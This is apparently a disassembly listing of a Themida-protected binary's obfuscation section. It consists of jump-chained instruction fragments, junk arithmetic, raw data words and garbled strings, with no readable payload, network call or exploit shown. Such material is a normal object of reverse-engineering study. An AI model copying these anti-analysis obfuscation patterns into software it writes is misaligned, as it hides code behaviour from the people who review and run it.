; ---------------------------------------------------------------------------
loc_55D23D: ; CODE XREF: Themida_:0055BFDBj
mov ebp, esp
jmp loc_562997
; ---------------------------------------------------------------------------
dd 0E904EC83h, 0FFFFD300h, 0C0EAE954h, 815DFFFFh, 4C5h
dd 84BA5200h, 0F77E203Bh, 2E2C1DAh, 0E907EAC1h, 0A9ECh
; ---------------------------------------------------------------------------
loc_55D26C: ; CODE XREF: Themida_:00565730j
add edi, 4
jmp loc_567AF1
; ---------------------------------------------------------------------------
db 50h
dd 3E375CB8h, 0A3FBE93Dh, 814D0000h, 443CE7EDh, 2C83556Fh
dd 2C8BFF24h, 4C48124h, 0E9000000h, 62C8h, 5E9C581h, 0E80108A5h
dd 27D7E9h
db 0
byte_55D2A9 db 64h, 66h, 0Fh ; DATA XREF: Themida_:00552964o
dd 895002B6h, 86853E0h, 89000054h, 68E92434h, 8300005Fh
dd 0EB8104C4h, 4, 8B241C87h, 2C892424h, 2474FF24h, 242C8B04h
dd 8F04C483h, 248B2404h, 89666424h, 58D1E902h, 0BB53FFFFh
dd 2B711B28h, 0FFBBE8E9h, 0E905B0FFh, 0FFFFD2C7h, 0A05D8F7h
dd 2D6FD64Dh, 879D57Dh, 5058C331h, 0B8h, 89D82900h, 24048BC3h
dd 4C481h, 0C14B0000h, 0EB8105EBh, 0F9073002h, 2C186A2Dh
dd 0E9D8292Eh, 3FC5h, 8104C483h, 0B223C7C1h, 81C10108h
dd 0B223C7E9h, 0D7C18108h, 8B50E947h, 89522404h, 4C281E2h
dd 0E9000000h, 0FFFFB7F8h, 8B242C33h, 88522424h, 0D18851CAh
dd 59870C88h, 0E92434FFh, 0FFFFAF0Fh, 81243C8Bh, 4C4h
dd 55B52D00h, 0E6E93809h, 3400000Ah, 58C72852h, 2843F780h
dd 665B5BF8h, 0F9B25253h, 4EC81h, 0C890000h, 0D0885024h
dd 0E9C78853h, 641Eh, 8839F8BEh, 50D6F737h, 99A5E9h, 81D52900h
dd 17043BEDh, 0F7455A2Ah, 2EDC1DDh, 0F114C581h, 0FFE9E090h
db 82h, 2 dup(0FFh)
byte_55D3D3 db 66h ; DATA XREF: Themida_:00552930o
dd 5024048Bh, 0A90CE9h, 243C8B00h, 4C481h, 42420000h, 118DEA81h
dd 0A305EB4Fh, 2916D01Dh, 1DA32DD0h, 1BE916D0h
db 1Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D3FF: ; CODE XREF: Themida_:00552FC9j
mov edx, [esp]
add esp, 4
push dword ptr [esp]
mov esi, [esp]
jmp loc_55E801
; ---------------------------------------------------------------------------
aZcbMgBMgBPOSsc db '╫х~┤C│Йmg^{)Й│бmg^{]│й╞>o',0Dh,'ИАc',0
align 2
word_55D432 dw 34FFh ; DATA XREF: Themida_:005529B4o
dd 0EC835924h, 241C8904h, 729068h, 24248900h, 4240481h
dd 8B000000h, 0C481241Ch, 4, 4C381h, 0EC830000h, 24148904h
dd 0FF9FA6E9h, 3EE968FFh, 0C890000h, 81E18924h, 4C1h, 925FE900h
dd 0EC810000h, 4, 0E9242C89h, 8DE4h, 34FFEF89h, 0E9515D24h
dd 0FFFFC248h
; ---------------------------------------------------------------------------
loc_55D494: ; CODE XREF: Themida_:00566A12j
push 0B2D75E5h
jmp loc_562A60
; ---------------------------------------------------------------------------
loc_55D49E: ; CODE XREF: Themida_:0055DEEEj
pop esi
push ebp
jmp loc_5666EA
; ---------------------------------------------------------------------------
aUHsEv db 'U╫ЛH▒',0Bh,'EV╬',0
align 10h
dd 0EE290000h, 0FF9A1DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D4B9: ; CODE XREF: Themida_:00554028j
sub ebx, 33B262B6h
inc ebx
push edx
mov edx, 7BF23020h
and edx, 2F9C3432h
dec edx
sub edx, 1
push 6B82h
mov [esp], ecx
jmp loc_561724
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 61DEE9h
db 0
; ---------------------------------------------------------------------------
loc_55D4E5: ; CODE XREF: Themida_:0055B41Fj
shr ebx, 7
push edx
mov edx, 4F612876h
jmp loc_55CE29
; ---------------------------------------------------------------------------
loc_55D4F3: ; CODE XREF: Themida_:0055C273j
pop edx
push esi
jmp loc_5598DC
; ---------------------------------------------------------------------------
loc_55D4FA: ; CODE XREF: Themida_:00559D5Ej
push 6314h
mov [esp], ebp
jmp loc_56015F
; ---------------------------------------------------------------------------
loc_55D507: ; CODE XREF: Themida_:0055FE0Ej
push edi
mov edi, 78B55B3Ah
push ecx
mov ecx, 35643779h
xor ecx, 0BA28B9h
sub edi, ecx
jmp loc_558672
; ---------------------------------------------------------------------------
loc_55D520: ; CODE XREF: Themida_:00562008j
mov eax, [esp]
jmp loc_567282
; ---------------------------------------------------------------------------
dd 8324148Bh, 545104C4h, 8216E959h, 8966FFFFh, 5AB1240Ch
dd 0FF7518E9h, 417DBFFFh, 0C581951Ah, 7686174Dh, 0ED81FD01h
dd 7686174Dh, 91B1E95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D55A: ; CODE XREF: Themida_:00561FD4j
xor edi, 532C663Eh
sub eax, edi
pop edi
shl eax, 2
inc eax
sub eax, 0D5770F83h
add edi, eax
pop eax
sub edi, 4D5B632Bh
jmp loc_5637A4
; ---------------------------------------------------------------------------
dw 8B66h
dd 89502414h, 405E0h, 7DE90000h
db 5Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D58B: ; CODE XREF: Themida_:00559748j
xor edi, 0A4187ADCh
push esi
jmp loc_55CD99
; ---------------------------------------------------------------------------
db 8Bh
dd 9662424h, 0E99C2404h, 0FFFF5617h
; ---------------------------------------------------------------------------
loc_55D5A4: ; CODE XREF: Themida_:0055F554j
mov al, 27h
add al, 4Bh
xor al, 0F5h
sub al, 0C0h
push edx
mov dh, 52h
xor al, dh
pop edx
and cl, al
pop eax
dec cl
not cl
push ebx
mov bl, 22h
sub bl, 0A3h
and cl, bl
pop ebx
neg cl
xor cl, 0D3h
mov bh, cl
pop ecx
add dl, bh
jmp loc_559AB5
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 592434FFh, 4C481h, 0EC830000h, 0B63FE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D5E6: ; CODE XREF: Themida_:00562822j
push eax
mov eax, 41F414FCh
mov ebp, eax
jmp loc_555E48
; ---------------------------------------------------------------------------
loc_55D5F3: ; CODE XREF: Themida_:00556F6Aj
pop ecx
jmp loc_55C1CF
; ---------------------------------------------------------------------------
loc_55D5F9: ; CODE XREF: Themida_:00561CA1j
push 1466h
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
push esi
push edi
mov edi, esp
push esi
jmp loc_5629F0
; ---------------------------------------------------------------------------
loc_55D616: ; CODE XREF: Themida_:005664FAj
mov esi, 124026E9h
jmp loc_55EEC9
; ---------------------------------------------------------------------------
dd 0FF5596E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D625: ; CODE XREF: Themida_:0055E7E8j
dec ebp
not ebp
jmp loc_55E571
; ---------------------------------------------------------------------------
loc_55D62D: ; CODE XREF: Themida_:00561CCBj
mov ebp, esp
push esi
push ebx
push 416304Fh
pop ebx
shl ebx, 3
sub ebx, 20B18274h
mov esi, ebx
pop ebx
add ebp, 635C42A6h
jmp loc_5641F3
; ---------------------------------------------------------------------------
dw 8953h
dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 2404335Ch, 0E9240431h
dd 0FFFF69A0h, 0BDBA5251h, 89283167h, 1CE95AD1h
db 55h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D67B: ; CODE XREF: Themida_:0055E9E5j
add esp, 4
jmp loc_5654E7
; ---------------------------------------------------------------------------
loc_55D686: ; CODE XREF: Themida_:00560CF8j
add ecx, 4D51BCF9h
add ebx, ecx
pop ecx
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_55FB5B
; ---------------------------------------------------------------------------
dd 0E904E5C1h, 0FFFFBE01h, 1E99BB53h, 0EBC163EAh, 62EB8107h
dd 819137A3h, 0BD4B05EEh, 0E9DE295Bh, 0FFFF7878h, 5904C483h
dd 9E9DF01h, 29FFFFEAh, 24348BF7h, 71D8E9h
db 0
; ---------------------------------------------------------------------------
loc_55D6D9: ; CODE XREF: Themida_:0055CE55j
mov edx, 35161308h
jmp loc_5612C2
; ---------------------------------------------------------------------------
db 46h
dd 9E9F787h
db 65h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D6EB: ; CODE XREF: Themida_:0055DA70j
push eax
mov eax, 3CC1599Ah
push edi
mov edi, 47DD63C6h
jmp loc_55A780
; ---------------------------------------------------------------------------
loc_55D6FC: ; CODE XREF: Themida_:00566977j
add ecx, ebx
pop ebx
push edi
mov edi, 4
sub ecx, edi
jmp loc_553445
; ---------------------------------------------------------------------------
dd offset asc_5BF680 ; "ллллллллллллллллллллллллллллллллллллллл"...
dd 63E95AF0h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D717: ; CODE XREF: Themida_:00565820j
shr ebx, 8
or ebx, 685B67F3h
or ebx, 31852DAh
push esi
mov esi, 0
sub esi, ebx
jmp loc_55B41C
; ---------------------------------------------------------------------------
loc_55D733: ; CODE XREF: Themida_:0055E57Aj
add ebx, ebp
jmp loc_557D82
; ---------------------------------------------------------------------------
dw 0E1C0h
dd 7E9C005h, 0E9D7C180h, 354Bh, 835DEA01h, 148904ECh, 2474FF24h
dd 1DB2E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D75A: ; CODE XREF: Themida_:0056776Bj
add dword ptr [esp], 4
pop eax
add eax, 4
push edx
mov edx, 5D8F5664h
jmp loc_55C034
; ---------------------------------------------------------------------------
loc_55D76F: ; CODE XREF: Themida_:005629ACj
push dword ptr [edi+eax*4]
sub esp, 4
mov [esp], edi
mov edi, 53437086h
xor [esp+4], edi
push dword ptr [esp]
mov edi, [esp]
push edi
jmp loc_553504
; ---------------------------------------------------------------------------
dd 7AB8C781h, 835D615Bh, 1C8904ECh, 81E38924h, 4C3h, 4BD5500h
dd 81000000h, 464032C3h, 81EB294Ch, 464032EBh, 727FE94Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D7BE: ; CODE XREF: Themida_:0055696Cj
add ebp, 3DE86696h
shl ebp, 2
xor ebp, 11869F3h
sub ebp, 4551DF4h
sub edx, ebp
pop ebp
add edx, esi
add edx, 4762118Bh
pop esi
sub ecx, edx
jmp loc_554AB3
; ---------------------------------------------------------------------------
dw 0B866h
dd 66556146h, 8966C589h, 611AE9EAh, 0F0290000h, 214B5B05h
dd 37685E0Eh, 0E9000000h, 96F6h
; ---------------------------------------------------------------------------
loc_55D808: ; CODE XREF: Themida_:005579FCj
add dword ptr [esp], 4
push dword ptr [esp]
mov edi, [esp]
jmp loc_554CDE
; ---------------------------------------------------------------------------
dw 4B8h
dd 1000000h, 2434FFC6h, 4C48158h, 81000000h, 4EEh, 24348700h
dd 242C895Ch, 242C8B54h, 0E904C483h, 0FFFFC9A1h, 2BDh
dd 1520E900h, 0F0290000h, 0EB1D2D5Eh, 0E950C228h, 0FFFFDDBDh
dd 0DFEBE952h, 5056FFFFh, 9E049668h, 24048B4Eh, 4C481h
dd 0E0C10000h, 0BE564007h, 80FBE32h, 0FFA51BE9h, 505396FFh
dd 0FC2124B8h, 58C3892Bh, 815BD831h, 742B4EEEh, 971BE92Fh
dd 1CE90000h
db 53h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D89F: ; CODE XREF: Themida_:005654F0j
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edx
push esp
pop edx
add edx, 4
push ebx
jmp loc_56074D
; ---------------------------------------------------------------------------
loc_55D8BD: ; CODE XREF: Themida_:0055FB71j
push edi
jmp loc_562014
; ---------------------------------------------------------------------------
loc_55D8C3: ; CODE XREF: Themida_:00567233j
xor [esp], eax
xor eax, [esp]
pop esp
mov [esp], ebx
pop eax
push 2381h
mov [esp], ebp
push 2000000h
jmp loc_55BFD7
; ---------------------------------------------------------------------------
loc_55D8E0: ; CODE XREF: Themida_:0056336Bj
mov [eax], dl
pop eax
jmp loc_553CA2
; ---------------------------------------------------------------------------
dd 89240C89h, 7E77E9E1h, 0DE310000h, 6812E95Bh, 8F5E0000h
dd 248B2404h, 24048924h, 0A4E9E089h
db 9Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D90B: ; CODE XREF: Themida_:005569B9j
push ax
pushf
jmp loc_552BBB
; ---------------------------------------------------------------------------
loc_55D913: ; CODE XREF: Themida_:0055C17Cj
sub eax, ebx
sub eax, 50EB0EE4h
sub eax, 3BA04E1Ch
push ecx
push ebx
push 17DA4E23h
pop ebx
jmp loc_567B6E
; ---------------------------------------------------------------------------
dd 0FFEB8143h, 81FFFFFFh, 280927C3h, 4EBC109h, 0D7E3EB81h
dd 0DA29A1BAh, 81C2295Bh, 0EF0087C2h, 9F07E962h, 2C8B0000h
dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 0FFF00DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D969: ; CODE XREF: Themida_:00561FC7j
dec eax
jmp loc_553036
; ---------------------------------------------------------------------------
db 80h
dd 0EB8029F5h, 9B61E9ECh, 835C0000h, 0C8702C1h, 0D3665C24h
dd 0E99C240Ch, 0FFFF522Fh, 0DAD4ED81h, 0EB895A16h, 81242C8Bh
dd 4C4h, 7EBC100h, 0E957D3F7h, 7784h, 405E089h, 0E9000000h
dd 0FFFFB195h, 242C895Ch, 277E9h, 4B800h, 6C810000h, 16DC0424h
dd 440154AAh, 44810424h, 16DC0424h, 5A5854AAh, 4C281h
dd 0C2830000h, 74FF5204h, 60E90424h, 0FFFFFFF2h, 835A2434h
dd 48F04C4h, 29685C24h, 0E9000004h, 0FFFFCED7h
; ---------------------------------------------------------------------------
loc_55DA00: ; CODE XREF: Themida_:00560DE0j
and al, 3Bh
dec al
neg al
xor al, 5Fh
add al, 32h
add bl, 0E9h
add bl, al
sub bl, 0E9h
pop eax
mov cx, [esp]
add esp, 2
jmp loc_561FD9
; ---------------------------------------------------------------------------
db 81h
dd 0FD1B32EAh, 2CEA811Bh, 8913E623h, 0C6E95AD6h
db 6Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55DA33: ; CODE XREF: Themida_:00567A3Bj
jz loc_560DAA
push dword ptr [edi+1Ch]
sub esp, 4
mov [esp], edx
mov edx, 608C3149h
add dword ptr [esp+4], 6CDF03DCh
sub dword ptr [esp+4], 25AC364Ch
sub [esp+4], edx
add dword ptr [esp+4], 25AC364Ch
push eax
jmp loc_562984
; ---------------------------------------------------------------------------
loc_55DA69: ; CODE XREF: Themida_:00566DA4j
pop dword ptr [esp]
pop esp
mov [esp], esi
jmp loc_55D6EB
; ---------------------------------------------------------------------------
db 68h, 62h, 7Ah
dd 3C890000h, 17BFBF24h, 0F781463Ah, 72B97DCBh, 8DE9DFF7h
dd 0B0FFFF61h, 4E8C006h, 5D044004h, 28E8C580h, 644CE9C5h
dd 0C681FFFFh, 732F28A0h, 0E7E9CE01h
db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DAAF: ; CODE XREF: Themida_:0055FE53j
add esp, 4
add edi, 117532DFh
add edi, edx
sub edi, 117532DFh
jmp loc_55C625
; ---------------------------------------------------------------------------
loc_55DAC8: ; CODE XREF: Themida_:00554274j
jmp loc_552BBB
; ---------------------------------------------------------------------------
db 8Bh, 34h, 24h
dd 4C481h, 0C4810000h, 4, 5104C183h, 42474FFh, 81240C8Bh
dd 4C4h, 7880E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55DAF2: ; CODE XREF: Themida_:0055F753j
sub dword ptr [esp+4], 2F7A66FCh
pop ebp
mov esi, [esp]
add esp, 4
add esi, 4
push edx
mov edx, 4
jmp loc_5633D2
; ---------------------------------------------------------------------------
dw 0E950h
dd 0FFFFFEA5h, 1BB8505Fh, 0E976D679h, 0FFFF6820h, 0E06479BBh
dd 6EC2E901h, 0D587FFFFh, 5F07C581h, 0EA89CEBAh, 0FF66D9E9h
dd 6BE955FFh, 8BFFFFBBh, 0C892424h, 6EBE5624h, 8120BF23h
dd 0B760E7CEh, 0DEEE8126h, 8177B855h, 7F1652E6h, 0BEE68124h
dd 81502D53h, 0FB01F0C6h, 5EF189FFh, 8B1C4F09h, 0C481240Ch
dd 4, 0FF503AE9h, 243C87FFh, 0E930FF5Ch, 0FFFF502Fh
; ---------------------------------------------------------------------------
loc_55DB8C: ; CODE XREF: Themida_:0055F92Aj
pop esp
add edx, 0D250017h
mov edi, [esp]
add esp, 4
shr edx, 3
xor edx, esi
xor esi, edx
xor edx, esi
push edi
mov edi, 1
sub esi, edi
jmp loc_5619BD
; ---------------------------------------------------------------------------
loc_55DBB2: ; CODE XREF: Themida_:0055531Ej
mov dh, 8Ch
or dh, 0D3h
xor dh, 25h
sub bl, dh
pop edx
sub bl, al
push 342Ah
mov [esp], edx
mov dl, 0DCh
push ecx
jmp loc_56134B
; ---------------------------------------------------------------------------
db 33h
dd 895C2404h, 5954240Ch, 7B96BE56h, 0E6C16482h, 0AE05E907h
dd 422DFFFFh, 29383310h, 104205F8h, 672D3833h, 0E9400808h
dd 6FC4h, 5585450h, 4, 405h, 24048700h, 2E80E9h, 8F5800h
dd 0FF4FA2E9h, 0FFC301FFh, 83582434h, 0C23104C4h, 9E71E9h
dd 1B26BF00h, 0E95173C1h, 23ECh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_565C73
; ---------------------------------------------------------------------------
dword_55DC3C dd 833C77FFh, 48904ECh, 7CBCB824h, 69E9670Dh ; DATA XREF: Themida_:0055292Co
db 36h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55DC4F: ; CODE XREF: Themida_:005667AAj
mov ecx, eax
pop eax
mov ebx, ecx
pop ecx
mov ebp, [esp]
jmp loc_566153
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 4EC81h, 5E90000h
db 26h, 2 dup(0)
byte_55DC6B db 81h ; DATA XREF: Themida_:00552A34o
dd 4ECh, 24148900h, 0FF83CEE9h, 4B8FFh, 0ED810000h, 6FB15819h
dd 7185E9h
db 0
; ---------------------------------------------------------------------------
loc_55DC89: ; CODE XREF: Themida_:00562CE5j
mov eax, esp
add eax, 4
jmp loc_5568FF
; ---------------------------------------------------------------------------
db 68h, 1, 2Eh
dd 34890000h, 1BBF5724h, 890E0504h, 0CE815FFEh, 1C5B1696h
dd 61EE814Eh, 21EE5002h, 24348BF7h, 4C481h, 0B8500000h
dd 4EE42947h, 5C35D0F7h, 14EE93Dh, 0E95158C7h, 2A28h, 815D5455h
dd 4C5h, 4C58300h, 8B242C87h, 0C4812424h, 4, 2C381h, 1C870000h
dd 24248B24h, 0FFDD85E9h, 3BE381FFh, 81116A6Ch, 8B232DF3h
dd 0D3F74346h, 98F5EB81h, 0D901A91Ch, 240C335Bh, 53F3E9h
dd 85CE8100h, 5165F103h, 0FF5C90E9h, 76C181FFh, 0C1083178h
dd 0C18102E9h, 4947E371h, 8159CD01h, 7E1060C5h, 246C010Dh
dd 242C8B08h, 5923E9h, 3EBC100h, 3A9DF381h, 53517BF0h
dd 67242C81h, 8B141A23h, 0C481240Ch, 4, 2367C181h, 0D668141Ah
dd 0E9000013h, 83B8h, 52C680h, 52EE80EEh, 63B45059h, 923CE9h
db 0
byte_55DD89 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00552A8Co
dd 592434FFh, 0CB12E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DD96: ; CODE XREF: Themida_:00559BA2j
mov [esp], edx
push eax
pushf
jmp loc_552BBB
; ---------------------------------------------------------------------------
loc_55DDA0: ; CODE XREF: Themida_:005649A5j
mov bl, 2Ah
sub bl, 29h
jmp loc_5572DB
; ---------------------------------------------------------------------------
dw 0F068h
dd 8900007Fh, 0E189240Ch, 4C181h, 0BF570000h, 62BA69E2h
dd 4707E7C1h, 0F105F781h, 0E9815D34h, 920023Fh, 0C181F901h
dd 920023Fh, 240C335Fh, 0E9240C31h, 4130h
; ---------------------------------------------------------------------------
loc_55DDE4: ; CODE XREF: Themida_:0055DE3Bj
mov cl, 7Ah
push bx
mov bl, al
mov al, cl
push eax
mov ah, bl
mov cl, ah
mov eax, [esp]
sub esp, 4
jmp loc_55A22B
; ---------------------------------------------------------------------------
db 0BDh
dd 4, 875DEE01h, 248B2434h, 85D3E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DE12: ; CODE XREF: Themida_:00559D4Fj
pop ebx
add edx, 5C30AD87h
mov esi, edx
jmp loc_563F79
; ---------------------------------------------------------------------------
dd 1E8EBF57h, 0FE21529Dh, 0D9F6815Fh, 8131E15Dh, 7E2F6h
dd 0ACF6E96Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DE3A: ; CODE XREF: Themida_:00557B7Ej
push ecx
jmp loc_55DDE4
; ---------------------------------------------------------------------------
loc_55DE40: ; CODE XREF: Themida_:005682A8j
sub eax, 401EED56h
add esi, eax
mov eax, [esp]
add esp, 4
jmp loc_55EB56
; ---------------------------------------------------------------------------
db 51h, 89h, 0E1h
dd 4C181h, 0C1830000h, 240C8704h, 1C47215Ch, 1C2E9h, 4EC8100h
dd 0E9000000h, 5FBAh, 815FFD89h, 192489F5h, 8EDC166h, 55CE9h
db 0
; ---------------------------------------------------------------------------
loc_55DE89: ; CODE XREF: Themida_:00558BCDj
add dl, al
pop eax
jmp loc_5588DC
; ---------------------------------------------------------------------------
loc_55DE91: ; CODE XREF: Themida_:0055B198j
movzx eax, al
jmp loc_567A87
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 0FF5A8DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DEA1: ; CODE XREF: Themida_:005552FDj
push dword ptr [esp]
pop eax
push edi
mov edi, esp
push esi
mov esi, 4
jmp loc_558936
; ---------------------------------------------------------------------------
db 0F7h
dd 7EC681D6h, 21FEAF43h, 0CC32E9F3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DEC2: ; CODE XREF: Themida_:00560C73j
sub esi, 1A45787Bh
push esi
push ebp
pop esi
mov ebp, [esp]
add esp, 4
not ebp
push esi
push ebp
pop esi
pop ebp
xor esi, 179305B9h
add edi, 42754C1Bh
add edi, esi
sub edi, 42754C1Bh
jmp loc_55D49E
; ---------------------------------------------------------------------------
db 50h
dd 0BF57E089h, 1A5271D0h, 0D5F78147h, 2D1A5271h, 6E561AD3h
dd 0B951F801h, 6E561AD3h, 0A2E9C801h, 31FFFF68h, 0C33240Ch
dd 1C895C24h, 0FDB95124h, 0C179466Bh, 0D9F705E9h, 4908E1C1h
dd 77F8E949h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DF36: ; CODE XREF: Themida_:0055745Fj
dec esi
xor esi, 6436CADh
jmp loc_55AD3B
; ---------------------------------------------------------------------------
dw 0B951h
dd 4, 0FFB3ADE9h, 4EC83FFh, 89241C89h, 4C381E3h, 0E9000000h
dd 0FFFF8ABEh, 2444815Bh, 1E692608h, 2474015Dh, 246C8108h
dd 1E692608h, 24348B5Dh, 4C481h, 148B0000h, 4C48324h, 0E9240401h
dd 0FFFFB49Ah, 0A5541068h, 2434FF74h, 0FF537EE9h, 6C815EFFh
dd 6BAF0424h, 54291256h, 0B8500424h, 12566BAFh, 8244401h
dd 0FF9F65E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DFB5: ; CODE XREF: Themida_:00555FAFj
mov esp, [esp]
or eax, eax
jmp loc_5668CF
; ---------------------------------------------------------------------------
loc_55DFBF: ; CODE XREF: Themida_:0056750Dj
mov [esp], esi
push 20C158BFh
pop esi
add edx, esi
mov esi, [esp]
push eax
mov eax, esp
push esi
mov esi, 1B5960DDh
add esi, 436374E1h
not esi
and esi, 36CC3A61h
xor esi, 20402A45h
add eax, esi
pop esi
push edx
jmp loc_565343
; ---------------------------------------------------------------------------
loc_55DFF3: ; CODE XREF: Themida_:00561589j
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
add esi, 4
push 7A65h
mov [esp], eax
mov eax, 4
sub esi, eax
pop eax
xchg esi, [esp]
pop esp
jmp loc_553E8A
; ---------------------------------------------------------------------------
db 8Bh
dd 0EC832404h, 24048904h, 5F36E9h, 4C48100h, 50000000h
dd 0FFD671E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E049: ; CODE XREF: Themida_:00567417j
mov eax, 5E3D5443h
xor eax, edi
pop edi
add edx, eax
mov eax, [esp]
add esp, 4
xchg edx, [esp]
pop esp
or edx, eax
jmp loc_557258
; ---------------------------------------------------------------------------
loc_55E064: ; CODE XREF: Themida_:005610B9j
dec esi
jmp loc_55F063
; ---------------------------------------------------------------------------
word_55E06A dw 8B66h ; DATA XREF: Themida_:00552A24o
dd 8957240Ch, 4C781E7h, 56000000h, 1E9E689h, 8B00007Dh
dd 0C481241Ch, 4, 8124348Bh, 4C4h, 0AEB85000h, 485ECE43h
dd 0E906E8C1h, 0FFFFF25Ch, 421468h, 0CF8AE900h, 0F781FFFFh
dd 1BBF7314h, 0C466C781h, 0FA31D278h, 5AD0015Fh, 26853h
dd 0D5E90000h
db 50h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E0C7: ; CODE XREF: Themida_:00558E99j
push esp
pop ecx
jmp loc_557CE3
; ---------------------------------------------------------------------------
loc_55E0CE: ; CODE XREF: Themida_:005656E1j
shl esi, 4
and esi, 3C491852h
jmp loc_560346
; ---------------------------------------------------------------------------
loc_55E0DC: ; CODE XREF: Themida_:00567A25j
push ebp
mov ebp, 42E84D77h
add edi, ebp
pop ebp
jmp loc_55372F
; ---------------------------------------------------------------------------
dw 405h
dd 68000000h, 4F31h, 0FFC643E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E0F9: ; CODE XREF: Themida_:005619EFj
mov esp, [esp]
jmp loc_55744D
; ---------------------------------------------------------------------------
db 5Dh, 0FFh, 34h
aPirsP db '$^P┴ЮИсP',0
align 2
dw 0E7C1h
dd 7FC78103h, 564E5A6Bh, 0FFA49EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E11D: ; CODE XREF: Themida_:005613DAj
pop edi
push 7E9Ch
jmp loc_55BAB0
; ---------------------------------------------------------------------------
loc_55E128: ; CODE XREF: Themida_:0056426Aj
pop ecx
sub ebx, 68DD3119h
add ebx, edi
add ebx, 68DD3119h
push edx
jmp loc_559416
; ---------------------------------------------------------------------------
loc_55E13D: ; CODE XREF: Themida_:00557514j
add esp, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
jmp loc_552BBB
; ---------------------------------------------------------------------------
loc_55E155: ; CODE XREF: Themida_:00561A93j
add esp, 4
jmp loc_554C7A
; ---------------------------------------------------------------------------
aVsfi db 'VИf┴',0
db 0
; ---------------------------------------------------------------------------
loc_55E163: ; CODE XREF: Themida_:00567C48j
add ecx, eax
add ecx, 57011366h
add ecx, 4636136Fh
pop eax
push esi
mov esi, 25911F52h
not esi
or esi, 764E6952h
sub esi, 582C0861h
push ebx
mov ebx, 69160B2Ch
or ebx, 30D169CFh
inc ebx
add ebx, 0EBE7CF5Fh
jmp loc_5665C0
; ---------------------------------------------------------------------------
loc_55E19E: ; CODE XREF: Themida_:005624F7j
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
push edx
jmp loc_55432A
; ---------------------------------------------------------------------------
loc_55E1B0: ; CODE XREF: Themida_:0055CAC0j
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_56256A
; ---------------------------------------------------------------------------
dw 0D6F7h
dd 98F68146h, 0E966C561h, 0FFFF7171h
; ---------------------------------------------------------------------------
loc_55E1CC: ; CODE XREF: Themida_:0055ACF6j
mov ecx, 509F31C7h
jmp loc_55F0EE
; ---------------------------------------------------------------------------
loc_55E1D6: ; CODE XREF: Themida_:0055C131j
not esi
add esi, 8FB7EB8Eh
sub edi, esi
pop esi
sub eax, 2D7940CFh
push edx
jmp loc_5565A4
; ---------------------------------------------------------------------------
loc_55E1EC: ; CODE XREF: Themida_:0055AF92j
add esi, 4
xchg esi, [esp]
mov esp, [esp]
and eax, ebx
push dword ptr [esp]
jmp loc_55AA8A
; ---------------------------------------------------------------------------
db 81h
dd 4C2h, 4EA8100h, 0E9000000h, 24F6h, 5A1C5721h, 0FF49A2E9h
dd 0D5CF81FFh, 5523B606h, 0B9726ABDh, 0E9515563h, 0FFFFC8F2h
; ---------------------------------------------------------------------------
loc_55E22C: ; CODE XREF: Themida_:0055FB88j
jz loc_55BF03
push dword ptr [edi+1Ch]
push dword ptr [esp]
jmp loc_5596B7
; ---------------------------------------------------------------------------
loc_55E23D: ; CODE XREF: Themida_:00553682j
mov [esp], esp
push ebp
mov ebp, 4
add [esp+4], ebp
jmp loc_5642FE
; ---------------------------------------------------------------------------
db 83h
dd 2C8904ECh, 2BD24h, 0E8010000h, 2404335Dh, 0E9240431h
dd 897Ch, 0DD34B32Dh, 316D2D2Eh, 0C701FDE9h, 0E9FA8958h
dd 229Ch, 6697C380h, 0E924148Bh, 33CFh, 11E9EE01h
db 42h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E28F: ; CODE XREF: Themida_:0056481Dj
or ebp, ecx
pop ecx
jmp loc_55AC5C
; ---------------------------------------------------------------------------
db 8Bh
dd 8B662424h, 0A968240Ch, 8900000Dh, 0E9542414h, 79A4h
